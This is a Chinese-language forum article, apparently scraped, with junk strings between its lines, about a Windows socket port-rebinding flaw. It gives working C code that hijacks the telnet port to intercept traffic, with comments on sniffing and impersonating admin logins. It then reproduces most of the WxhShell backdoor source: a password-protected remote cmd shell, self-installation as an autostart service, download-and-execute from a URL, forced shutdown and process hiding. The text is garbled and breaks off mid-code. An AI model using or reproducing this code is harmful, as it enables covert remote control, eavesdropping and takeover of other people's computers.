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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K[]K53Nk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @k9Pz<ub 7f
r>ZY^ saddr.sin_family = AF_INET; -K^41W71 tgB=vIw?3 saddr.sin_addr.s_addr = htonl(INADDR_ANY); +99Bi2H}o P7UJ-2%Y+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R>HY:-2 }1@E"6kF 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B:nK)"{ #a'r_K=ch) 这意味着什么?意味着可以进行如下的攻击: sG1BNb_ ST%
T =_q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s??czM2O yV2e5/i 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wASX\D } GFt1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yquAr$L! ]x_F{&6U8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 shzG
Eb uJ8x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #j.FJFGX #R<G,"N5 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b5S7{"<V mLaCkn 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P63
(^R %qi%$ #include cm,4&x6 #include &mdB\Y?^ #include s~Gw #include URQ@=W7 DWORD WINAPI ClientThread(LPVOID lpParam); Z'ao[CG int main() 7_%2xewV| { LD_M 3
P WORD wVersionRequested; /ao<A\KR DWORD ret; o3\,gzJ WSADATA wsaData; 9rS,? BOOL val; z<h|#@\ SOCKADDR_IN saddr; /GN4I!LA SOCKADDR_IN scaddr; +ouY int err; ~#4~_d.=L SOCKET s; Gk 6fO SOCKET sc; Y;g% e3nu int caddsize; v#F-<?Vv HANDLE mt; oLw|uU-| DWORD tid; &g
{<HU?BT wVersionRequested = MAKEWORD( 2, 2 ); 0ERsMnU' err = WSAStartup( wVersionRequested, &wsaData ); C5;wf3 if ( err != 0 ) { bQj`g2eyM printf("error!WSAStartup failed!\n"); Bj=@&; return -1; =]d^3bqN } 5W{hH\E _5 saddr.sin_family = AF_INET; W0|_]"K- tvT4S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 B%mtp;) P `0z/BCNB saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B.RRdK+: saddr.sin_port = htons(23); y;r"+bS8 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #<]Iz'\` { Wp`C:H printf("error!socket failed!\n"); 3C#RjA-2[ return -1; zb?kpd}r } 2NYi-@mr val = TRUE; "qE {a>d //SO_REUSEADDR选项就是可以实现端口重绑定的 3(o7co-f if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fB7ljg { <5k&)EoT printf("error!setsockopt failed!\n"); F^miq^K=
return -1; DyIV/ } ;:?*t{r4# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OW#_ty_ul //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b|6 !EGh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *F|+2?a:$ }_]As}E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gwJ}]Tf { VfRs[3Q ret=GetLastError(); 4]EvT=Ro printf("error!bind failed!\n"); 71*>L}H return -1; .aJ%am/:% } o6|"J%9GX listen(s,2); 9?(x>P while(1) %z2oDAjX { 8F)=n \ caddsize = sizeof(scaddr); qsTq*G //接受连接请求 $bFgsy*N2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =EWD
|< if(sc!=INVALID_SOCKET) jceHKl { K k`<f d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PF`:1;PU if(mt==NULL) z1FL8= { "h$D7 mL printf("Thread Creat Failed!\n"); GRy4cb2 break; pJn>oGeJ& } soDfi-2o3 } qhnapZJ CloseHandle(mt); 1 0V+OIC } %uW< closesocket(s); ]a=l^Pc(xN WSACleanup(); PB@-U.Z return 0; $6Z[|9W^A } e_^KI DWORD WINAPI ClientThread(LPVOID lpParam) t9]r
{ sZT VM9<) SOCKET ss = (SOCKET)lpParam; cmae&Atotw SOCKET sc; *%nX#mwz unsigned char buf[4096]; ONNW.xHp SOCKADDR_IN saddr; 'h k @>" long num; so'eZ"A: DWORD val; TZkTz
P[ DWORD ret; pIL`WE1' //如果是隐藏端口应用的话,可以在此处加一些判断 *6'_5~G //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 hl}dgp(( saddr.sin_family = AF_INET; /lru"R D saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x7Eeb!s0f, saddr.sin_port = htons(23); S;BP`g<l= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IG>>j} { CO7CNN printf("error!socket failed!\n"); )|Jr|8 return -1; X=\x&Wt } {<"[D([ val = 100; Mg&HRE if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %bN"bxv^ { UX?X]ZYVR ret = GetLastError(); "1AjCHZ return -1; R+C+$?4NG } %uF:) if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) WGluZhRuT3 { N:5b1TdI, ret = GetLastError(); ;>sq_4_ return -1; hY)YX,f=S } cz$c)It if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jjNxatAN { cS+?s=d printf("error!socket connect failed!\n"); v#w4{.8) closesocket(sc); ud5x$` closesocket(ss); r*xq(\v return -1; S|tA[klh } l8eT{!4 while(1) )_WH#-} {
sY&rbJ(P //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *pmoLiuB> //如果是嗅探内容的话,可以再此处进行内容分析和记录 UqY J#&MqY //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]rKH|i num = recv(ss,buf,4096,0); P"U>tsHK: if(num>0) [qq`cT@ send(sc,buf,num,0); m21QN9(i% else if(num==0) TZ)(ZKX*R break; ,80jMs num = recv(sc,buf,4096,0); f45x%tha % if(num>0) tPQ2kEW send(ss,buf,num,0); }6F_2S3c else if(num==0) NWaI[P break; `>$gy/N } xtG)^x! closesocket(ss); $eTv6B?m closesocket(sc); }Z<D^Z~w return 0 ; r@\,VD6J } \nn56o@eN Sz^TGF N. ItyV ========================================================== aU,0gvI(} ytuWT,u 下边附上一个代码,,WXhSHELL yOn H&Jj ufHuI* ========================================================== :5q^\xmmq :T8u?@. #include "stdafx.h" WMt&8W5 1)nM#@%](h #include <stdio.h> $fq-wl-= #include <string.h> g^Ugl=f, #include <windows.h> w-{#6/<kI5 #include <winsock2.h> NXC~#oG #include <winsvc.h> .2 N_? #include <urlmon.h> QH~8
aE_i
Ep#<$6> #pragma comment (lib, "Ws2_32.lib") z/Mhu{ttL #pragma comment (lib, "urlmon.lib") U~JG1#z6 \{Ox@ #define MAX_USER 100 // 最大客户端连接数 uaZ"x&oZ# #define BUF_SOCK 200 // sock buffer g~i''lng #define KEY_BUFF 255 // 输入 buffer qkZ5+2m ,Yiq$Z{qQ #define REBOOT 0 // 重启 Gx~"iM #define SHUTDOWN 1 // 关机 3\+[38 _ ~ ]m@k'n #define DEF_PORT 5000 // 监听端口 ?[*@T2Ck .$}Z:,aB
#define REG_LEN 16 // 注册表键长度 @5dBb+0J #define SVC_LEN 80 // NT服务名长度 &D&5UdN
x PG-cu$\?? // 从dll定义API VygXhh^7\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c DEe?WS typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~I8"l@H> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q^T&A[hMPx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P"h,[{Y*> 3>:zo:; // wxhshell配置信息 'w |s*5 struct WSCFG { ,i$(yx? int ws_port; // 监听端口 )KTWLr; char ws_passstr[REG_LEN]; // 口令 i85+p2i7 int ws_autoins; // 安装标记, 1=yes 0=no hz>yv@1 char ws_regname[REG_LEN]; // 注册表键名 JXZ:Wg char ws_svcname[REG_LEN]; // 服务名 o#KPrW`XJ/ char ws_svcdisp[SVC_LEN]; // 服务显示名 '6Z/-V4k char ws_svcdesc[SVC_LEN]; // 服务描述信息 x"h)"Y[c5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gw}7%U`T9 int ws_downexe; // 下载执行标记, 1=yes 0=no OA8b_k~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" XQ4^:3Yc char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2kmna/Qa6 r)Mx.`d! }; L{o >D" 2=UTH%1D // default Wxhshell configuration KzFs#rhpn struct WSCFG wscfg={DEF_PORT, e4NX\tCpw "xuhuanlingzhe", KH 6n3 \= 1, v'2OHb# "Wxhshell", VHXR)} "Wxhshell", OB? 79l "WxhShell Service", EF7|%N "Wrsky Windows CmdShell Service", .tHv4.ob "Please Input Your Password: ", SUFaHHk@/b 1,
;] `NR " http://www.wrsky.com/wxhshell.exe", %;\2QI`R "Wxhshell.exe" S r#fyr }; bMK'J YaE['a // 消息定义模块 GT`<jzAi Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .qU%SmQ^ char *msg_ws_prompt="\n\r? for help\n\r#>"; #lVl?F+~ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ]V]@Zna@g char *msg_ws_ext="\n\rExit."; (k HQKQmq char *msg_ws_end="\n\rQuit."; h/y} char *msg_ws_boot="\n\rReboot..."; :R?| 2l char *msg_ws_poff="\n\rShutdown..."; V/[,1W[B char *msg_ws_down="\n\rSave to "; A,CPR0g% I`}vdX) char *msg_ws_err="\n\rErr!"; (j 8,n<o char *msg_ws_ok="\n\rOK!"; $4~}_phi Y
Z2VP char ExeFile[MAX_PATH]; #d i_V" int nUser = 0; C5n=2luI_ HANDLE handles[MAX_USER]; n[w,x; int OsIsNt; J,M5<s[Xqt !?-5hh1\ SERVICE_STATUS serviceStatus; V$F.`O!hfi SERVICE_STATUS_HANDLE hServiceStatusHandle; s\1_-D5]Z '!L1z45 // 函数声明 u#k6v\/ int Install(void); \ rWgA int Uninstall(void); r0uXMr=Z96 int DownloadFile(char *sURL, SOCKET wsh); .Qw@H#dtW int Boot(int flag); Oqe.t;E 0} void HideProc(void); Ewsg&CCN int GetOsVer(void); Gbm_xEPC int Wxhshell(SOCKET wsl); B]}V$*$\? void TalkWithClient(void *cs); [k{iN1n
int CmdShell(SOCKET sock); bvRGTOxO int StartFromService(void); g~D6.OZU int StartWxhshell(LPSTR lpCmdLine); kxf=%<l o[ W3/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P&`r87J VOID WINAPI NTServiceHandler( DWORD fdwControl ); /<(ik&%N =v=!x // 数据结构和表定义 q;~>h SERVICE_TABLE_ENTRY DispatchTable[] = ^aWNtY'
: { Afl'- {wscfg.ws_svcname, NTServiceMain}, ~"0X,APR5 {NULL, NULL} iC2nHZ*, }; (>`SS#(T! wz)9/bL // 自我安装 8mddI int Install(void) nv
Gd:]Z { yzl\{I& char svExeFile[MAX_PATH]; F@K;A%us) HKEY key; ;@s~t:u strcpy(svExeFile,ExeFile); fR;_6?p*B RYaofW // 如果是win9x系统,修改注册表设为自启动 ]7
mSM if(!OsIsNt) { ~,-O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 80>!qG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *%BI*p RegCloseKey(key); ,w>?N\w!} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JLn<,Gn)<\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F;@&uXYgc RegCloseKey(key); l;kZS return 0; g}KZL-p4\m } *uM*)6O 3 } bu9&sQ; } wcT6d?*5 else { 0J</`/g H B;_3IHMO // 如果是NT以上系统,安装为系统服务 X6
:~Rjim* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #;]F:TlR if (schSCManager!=0) 0 d]G { ^ w1R"qE"m SC_HANDLE schService = CreateService 2` qXDfD` ( 0Ch._~Q+20 schSCManager, BQg]$Tr? wscfg.ws_svcname, gP%! wscfg.ws_svcdisp, @!O{>` SERVICE_ALL_ACCESS, Z"T(8>c;g SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .LHe*J C SERVICE_AUTO_START, +N_%|!F-c SERVICE_ERROR_NORMAL, [
Ulo; #P svExeFile, R/|{?:r?:x NULL, AE
_~DZ:%c NULL, HE'8 NULL, y@JYkp>I NULL, XjU; oh4:. NULL 1]`HX=cl ); k@U`?7X if (schService!=0) [nD4\x+ { XePBA
J CloseServiceHandle(schService); Jj:4@p: CloseServiceHandle(schSCManager); +,>bpp1 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D<6kAGE strcat(svExeFile,wscfg.ws_svcname); #::vMnT if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hZJqo + s RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "r+<=JU>OV RegCloseKey(key); 1X.1t^HH: return 0; !{;RtUPz* } e[!>ezaIY } eO G%6C%a CloseServiceHandle(schSCManager); )>p6h]]a } >FNt*tX<0 } }iAi`_\0; ]Jqe)o return 1; #9Z-Hd< } &nProzC >YhqL62!a // 自我卸载 .#|pje^ int Uninstall(void) wv-8\)oA
{ UkV] F] HKEY key; `<d>C}9 w[-Bsf
if(!OsIsNt) { ;Vt
u8f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q(W@=-uDK RegDeleteValue(key,wscfg.ws_regname); -Ma"V RegCloseKey(key); tEs$+b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZeZwzH)BD RegDeleteValue(key,wscfg.ws_regname); =T]OYk RegCloseKey(key); ")OLmkC return 0; $ 1ZY
Vw } ]"6<"1) } gId+hxFa:r } cpV i9] else { }JsdgO&z l!,{bOZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ls{fCi/2F if (schSCManager!=0) jFfki.H { swrd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M-gjS6c\3 if (schService!=0) 8>9+w/DL { u'p J9>sC if(DeleteService(schService)!=0) {
.@Cshj CloseServiceHandle(schService); Le!I-i(aD CloseServiceHandle(schSCManager); < r~Tj
return 0; e hq6.+l } }o4Cd$,8 CloseServiceHandle(schService); M<Mr (z } !:5n CloseServiceHandle(schSCManager); ]u ';zJ. } ]'q<wPi } YBP{4Rl pxj"<q`nw8 return 1; sh1()vT } U|nk86r Y<v55m- // 从指定url下载文件 ;+U9; int DownloadFile(char *sURL, SOCKET wsh) UsTPNQj { 2 OTpGl HRESULT hr; <4g^c& char seps[]= "/"; S SXSgp char *token; E_oe1C: char *file; U?QO'H5 char myURL[MAX_PATH]; rL=$WxdPU char myFILE[MAX_PATH]; ;l'I.j o[6hUX0tN strcpy(myURL,sURL); l;uEw token=strtok(myURL,seps); V_* ^2c) while(token!=NULL) =j0V/= { [>;O'> file=token; A?/?9Gr token=strtok(NULL,seps); rxARJso } 2wd(0K}b $c-3Q|C GetCurrentDirectory(MAX_PATH,myFILE); ;
F=_ozWV* strcat(myFILE, "\\"); @4i DN strcat(myFILE, file); i?>"}h send(wsh,myFILE,strlen(myFILE),0); ?HY0@XILI send(wsh,"...",3,0); dQ[lXV[}v hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *u}):8=&R if(hr==S_OK) }W<L;yD return 0; mI# BQE`p6 else EB#z\ return 1; yl}Hr* m_B5M0}, } vF,l?cU~ 4jpF^&y7u^ // 系统电源模块 :.cX3dP@ int Boot(int flag) / @&Sqv4? { 3jNcL{ HANDLE hToken; 5+UiAc$ TOKEN_PRIVILEGES tkp; ;%1^k/b6t .<.qRq- if(OsIsNt) { pqe**`z@y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i]nE86.;
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D1f=f88/} tkp.PrivilegeCount = 1; -n9e-0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Hpt)(Nz: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AS7!FD6b if(flag==REBOOT) { eZcm3=WV| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 89paR[ return 0; 4v>V7T. } Cv| :.y
else { ')BQ 0sg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z+b~#f3 return 0; `Ao:} } >HFJm&lQ } N ]duv~JS else { 1jL?z6S if(flag==REBOOT) { 1pV"<,t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R/#*~tPi8 return 0; MWl@smRh } `&_qK~&/X else { 073(xAkL{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x\jHk}Buj return 0; [V2l&ZUni } H)S3/%.| } Lg^m?~{ (/Ubw4unI return 1; g@QpqrT } =8iM,Vl3 !rWib`% // win9x进程隐藏模块 /Hx\ gtV void HideProc(void) r#XDgZtI { 1$^{Uma 8p
FSm> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R:e:B7O~0 if ( hKernel != NULL ) oI>;O# { 0XYxMN) pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cdv TC`~, ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); te|VKYN%}[ FreeLibrary(hKernel); e9
NHbq } Cpj_mMtu .C#}g return; \||PW58j } dw&Xg_$ eN$~@'w // 获取操作系统版本 WFkXz*7B int GetOsVer(void) Pwq}
;+ { OD i)# OSVERSIONINFO winfo; p;@PfhEz) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rN}^^9 GetVersionEx(&winfo); /90@ 85%r if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5}m2D=' return 1; '1w<<?vX? else u&qdrKx return 0; Bq!P.%6p4 } S2*:]pYf} 8ZN J} // 客户端句柄模块 MT9a 1 > int Wxhshell(SOCKET wsl) [)*fN|Hy { {>z.y1 SOCKET wsh; 4 QDW}5xB struct sockaddr_in client; f5G17: Q DWORD myID; F :u} 7t> sK\?i3<? while(nUser<MAX_USER) _])1P?. { +`[$w<I int nSize=sizeof(client); ?XHJCp;f wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PC9:nee if(wsh==INVALID_SOCKET) return 1; $Ec;w~e !XFN/-Q , handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i->sw# if(handles[nUser]==0) HP7Ec closesocket(wsh); =v_ju;C= else Fc=8Qt^ nUser++; ht1
jrCe } U'\\(m| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =3}+f-6"' Dk4Wj"LS return 0; !PO(Bfd } S"Efp/- A.y$.( // 关闭 socket `Q{kiy void CloseIt(SOCKET wsh) 7mu%| ! { {_
# closesocket(wsh); @<};Bo' nUser--; -F*j` ExitThread(0); 5B51^" } >V]>h&` nZ{~@E2 // 客户端请求句柄 MM97$ void TalkWithClient(void *cs) v!x=fjr< { o$Jk27 /O8'8 sL5 SOCKET wsh=(SOCKET)cs; ue`F| char pwd[SVC_LEN]; 0]" j, char cmd[KEY_BUFF]; ,@P3!| char chr[1]; ]03!KE int i,j; >_5D`^ F~{4)` while (nUser < MAX_USER) { &;y(@e}D 4gYP .h:, if(wscfg.ws_passstr) { I\[*vgjm3G if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vbSz&+52; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >z(6ADq //ZeroMemory(pwd,KEY_BUFF); fxc~5~$> i=0; <
*XC`Ii while(i<SVC_LEN) { 9J>DLvl; +oyc9PoXF // 设置超时 &AoWT:Ea fd_set FdRead; TzIgEn~ struct timeval TimeOut; $mpfr#!&3o FD_ZERO(&FdRead); mX<D]Z< k FD_SET(wsh,&FdRead); h IGa);g TimeOut.tv_sec=8; H\O|Y@uVr TimeOut.tv_usec=0; 1XSqgr"3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |C5i3? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !x,3k\M AKS(WNGEp if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -5E<BmM pwd =chr[0]; YN\
QwV if(chr[0]==0xd || chr[0]==0xa) { !{SEm"J^ pwd=0; $CXqkK<6 break; \f+R! } (Q\w4?ci i++; 0|HhA,u } D]4?UL #M_QSD}& // 如果是非法用户,关闭 socket <,LeFy\zW if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4=1lyw } u52@{@Ad bjR&bIA: send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^goS?p/z send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y}4dW' |R+=Yk&u while(1) { {"@ Bf<J# Uz1u6BF ZeroMemory(cmd,KEY_BUFF); 1Ce:<.99B ,@<-h* m // 自动支持客户端 telnet标准 }3+q}_3 j=0; Q(%uDUg% while(j<KEY_BUFF) { ,PY<AI^59 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FCI38?`% cmd[j]=chr[0]; U:`rNHl if(chr[0]==0xa || chr[0]==0xd) { >;HXH^q cmd[j]=0; ( /uL6W d0 break; .}Xkr+
+] } 8y+Gvk: j++; *gBaF/C } u_mm*o~)g 4I,HvP // 下载文件 fF>H7 if(strstr(cmd,"http://")) { qT}&XK`Q^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2*Gl|@~N if(DownloadFile(cmd,wsh)) (spX3n%p send(wsh,msg_ws_err,strlen(msg_ws_err),0); jP+4'O!s[ else KnbP@!+c send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gg6&Fzp } Q y15TJ else { q/]tJ{FI bcOX/ switch(cmd[0]) { rPQ$e!m1Ee F@?QVdY1q7 // 帮助 + J_W }G case '?': { ]ImS@!Ajjx send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F*Qw% break; 5ptbz<Xv } {5*+ // 安装 `5x,N%9{ case 'i': { -'ZP_$sA if(Install()) |QHWX^pO send(wsh,msg_ws_err,strlen(msg_ws_err),0); 15 SIZ:Q else CIV6Qe"< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '"I"D9;9 break; O1/!)E! } @^`-VF // 卸载 &\1Dy}: case 'r': { M?]ObIM:5 if(Uninstall()) }
1c5#Ym send(wsh,msg_ws_err,strlen(msg_ws_err),0); C?b Mj[$ else !(+?\+U lE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e_,_:|t break; L9G=+T9 } 1tg // 显示 wxhshell 所在路径 wus] case 'p': { i3f/{D/ char svExeFile[MAX_PATH]; 6g$+ ))g strcpy(svExeFile,"\n\r"); ,m0=zH4+: strcat(svExeFile,ExeFile); {!x-kF_ send(wsh,svExeFile,strlen(svExeFile),0); v^KJU
+ break; :<nL9y jt } :@Q_oyWE8 // 重启 d[ {=/~0 case 'b': { xXLKL6F(\ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $BNn 1C8[ if(Boot(REBOOT)) bZa?h.IF send(wsh,msg_ws_err,strlen(msg_ws_err),0); c L84}1QD else { ]Y,
7 X closesocket(wsh); ~~h9yvW7& ExitThread(0); a)}?rzT] } :%s9<g;-h_ break; GT'%HmQI } 6"gncB. // 关机 WukCE case 'd': { s;$
eq); send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ! a1j c_ if(Boot(SHUTDOWN)) ]%NCKOM send(wsh,msg_ws_err,strlen(msg_ws_err),0); $z`
jR* else { t+66kB N closesocket(wsh); J&h 3, ExitThread(0); k
\]@ } [?;oiEe.| break; eeuAo&L& } +>/Q+nh // 获取shell G.c s-f case 's': { W>s<&Vb CmdShell(wsh); bx`(d@ closesocket(wsh); 40+E#z) ExitThread(0); 48w3gye break; m@"!=CTKd } 1eKJ46W // 退出 \QYs(nm?k case 'x': { yKq;EcVx send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $^`hu%s,~ CloseIt(wsh); #Etz}:%W break; 6`%}s3Xq } +}z
T][9w // 离开 ,{YC|uB case 'q': { C%G-Ye|@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); _3ZZ-=J:=* closesocket(wsh); 'L= g( WSACleanup(); E-n!3RQ(w exit(1); MQp1j:CK break; .'>r?%a } b/WVWDyob/ } .bew,92 } &XN*T.Y` [NC^v.[1[ // 提示信息 \5X34'7 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {9Y@? } ]+,Z() } 5tQffo8t u!;kBs return; 5>$*#0%"} } XIf,#9 $D8KEkW // shell模块句柄 R%SsHu"> int CmdShell(SOCKET sock) QZ
h|6&yI { ^oaG.)3 STARTUPINFO si; NOo&5@z;H ZeroMemory(&si,sizeof(si)); TlAY=JwW si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H2rh$2
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "xYMv"X PROCESS_INFORMATION ProcessInfo; {}vW= char cmdline[]="cmd"; W@/D2K( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wG19NX( return 0; 4W$53LP8 } |yw-H2k1 l,pq;>c9a // 自身启动模式 uV=rLDY int StartFromService(void) 8={(Vf6 { W9.ZhpM typedef struct Bqa%L.N2SS { :|P"`j DWORD ExitStatus; 3^wJ4=^ DWORD PebBaseAddress; 6lsU/`. DWORD AffinityMask; )Z"7^i DWORD BasePriority; k'
pu%nWN ULONG UniqueProcessId; h&.9Q{D ULONG InheritedFromUniqueProcessId; v k.Y2
